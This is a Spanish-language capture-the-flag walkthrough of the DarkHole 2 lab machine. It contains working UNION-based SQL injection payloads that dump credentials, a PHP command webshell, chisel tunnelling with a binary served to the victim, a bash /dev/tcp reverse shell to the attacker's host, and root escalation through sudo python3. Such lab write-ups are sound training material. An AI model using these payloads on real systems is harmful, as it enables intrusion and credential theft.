Enumeramos puertos (22 y 80) y detectamos un repositorio .git expuesto y un login web:
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn -oN 01-allPorts 192.168.1.37
❯ nmap -sC -sV -p22,80 -oN 02-targeted 192.168.1.37Descargamos el repositorio (Exposed .git Repository) y revisamos el historial de commits:
❯ wget -r 192.168.1.37:80/.git/
❯ git log
...
commit a4d900a8d85e8938d3601f3cef113ee293028e10
I added login.php file with default credentials
...
❯ git show a4d900a8d85e8938d3601f3cef113ee293028e10El commit revela credenciales por defecto. Iniciamos sesión a través del sitio web (interceptando con Burp Suite para analizar el tráfico). Al autenticarnos nos redirige a http://192.168.1.37/dashboard.php?id=1, que a simple vista parece vulnerable a SQL Injection. Probar con ?id=2 carga un usuario vacío, lo que nos servirá para reflejar nuestras inyecciones.
En Burp, las inyecciones deben "encodearse" a un formato válido para la URL con
Ctrl+U. Sin encodear, el servidor responde400 Bad Request(error de cliente); ya encodeado, un500 Internal Server Errorindica que la consulta llegó al backend.
1. Número de columnas con ORDER BY. Haciendo fuzzing manual del valor, el error 500 desaparece al llegar a 6, por lo que la tabla activa tiene 6 columnas:
/dashboard.php?id=2' ORDER BY 100 -- -2. Columnas visibles con UNION SELECT. Con id=1 no se reflejan cambios, así que usamos id=2 (usuario vacío) para ver dónde se imprime cada campo. Solo se muestran las posiciones 2, 3, 5 y 6:
/dashboard.php?id=2' UNION SELECT 1,2,3,4,5,6-- -3. Enumeración progresiva. Volcamos el nombre de la base en uso, listamos todas las bases, sus tablas y columnas (GROUP_CONCAT une los múltiples resultados en un solo campo; el límite visual del input se evita leyendo el código fuente de la página). 0x3a es el carácter : en hexadecimal:
-- base de datos actual
/dashboard.php?id=2' UNION SELECT 1,database(),3,4,5,6-- -
-- todas las bases del sistema
/dashboard.php?id=2' UNION SELECT 1, GROUP_CONCAT(schema_name), 3, 4, 5, 6 FROM information_schema.schemata-- -
-- tablas de darkhole_2 → ssh, users
/dashboard.php?id=2' UNION SELECT 1, GROUP_CONCAT(table_name), 3, 4, 5, 6 FROM information_schema.tables WHERE table_schema='darkhole_2'-- -
-- columnas de la tabla ssh → id, pass, user
/dashboard.php?id=2' UNION SELECT 1, GROUP_CONCAT(column_name), 3, 4, 5, 6 FROM information_schema.columns WHERE table_schema='darkhole_2' AND table_name='ssh'-- -
-- volcado de credenciales
/dashboard.php?id=2' UNION SELECT 1, GROUP_CONCAT(user,0x3a,pass), 3, 4, 5, 6 FROM ssh-- -Obtenemos jehad:fool y entramos por SSH. En el .bash_history y con netstat/ps descubrimos un servidor local en el puerto 9999 corriendo como el usuario losy, con un index.php que ejecuta comandos. El puerto 9999 no aparecía en el escaneo de nmap, por lo que es un servicio solo accesible desde localhost:
❯ ssh jehad@192.168.1.37
jehad@darkhole:~$ netstat -nat
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN
jehad@darkhole:~$ ps -faux | grep 9999
losy ... php -S localhost:9999<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){ echo system($_GET['cmd']); }
?>Confirmamos que los comandos se ejecutan como losy:
curl localhost:9999/?cmd=whoami # → Parameter GET['cmd']losy
curl localhost:9999/?cmd=id # → uid=1002(losy) gid=1002(losy) groups=1002(losy)Para acceder a esa webshell desde nuestra máquina, hacemos un remote port forwarding del puerto 9999 (Port Forwarding). Dos opciones:
Opción A — ssh -L (la más simple), reutilizando las credenciales de jehad:
❯ ssh jehad@192.168.1.37 -L 9999:127.0.0.1:9999Opción B — chisel. Descargamos el binario, lo servimos a la víctima y montamos el túnel reverso:
# en el atacante: descargar, extraer y dar permisos
❯ wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
❯ gunzip chisel_1.9.1_linux_amd64.gz && mv chisel_1.9.1_linux_amd64 chisel && chmod +x chisel
❯ sudo python -m http.server 80 # servir el binario
# en la víctima: descargarlo
jehad@darkhole:~$ wget 192.168.1.10/chisel && chmod +x chisel
# atacante en modo servidor (reverse)
❯ ./chisel server --reverse -p 1234
# víctima en modo cliente: expone su 9999 en el 9999 del atacante
jehad@darkhole:~$ ./chisel client 192.168.1.10:1234 R:9999:127.0.0.1:9999
❯ lsof -i:9999 # verificamos que chisel está escuchando el puertoCon el puerto ya expuesto, lanzamos una reverse shell a través de la webshell (en el navegador, reemplazar los & por %26):
❯ sudo nc -nlvp 443
localhost:9999/?cmd=bash -c "bash -i >& /dev/tcp/192.168.1.10/443 0>&1"Estabilizamos la TTY (Tratamiento de la TTY):
script /dev/null -c bash
export TERM=xterm
^Z
stty raw -echo; fg
reset xtermYa como losy, obtenemos la primera flag. Su contraseña está en el .bash_history. Buscamos binarios SUID con find \-perm -4000 2>/dev/null (se podría explotar pkexec, pero esta vez lo haremos por otra vía). sudo -l muestra que losy puede ejecutar python3 como root:
User losy may run the following commands on darkhole:
(root) /usr/bin/python3losy@darkhole:~$ sudo -u root python3
>>> import os
>>> os.system('bash')
root@darkhole:~#Obtenemos la flag de root.
Fin.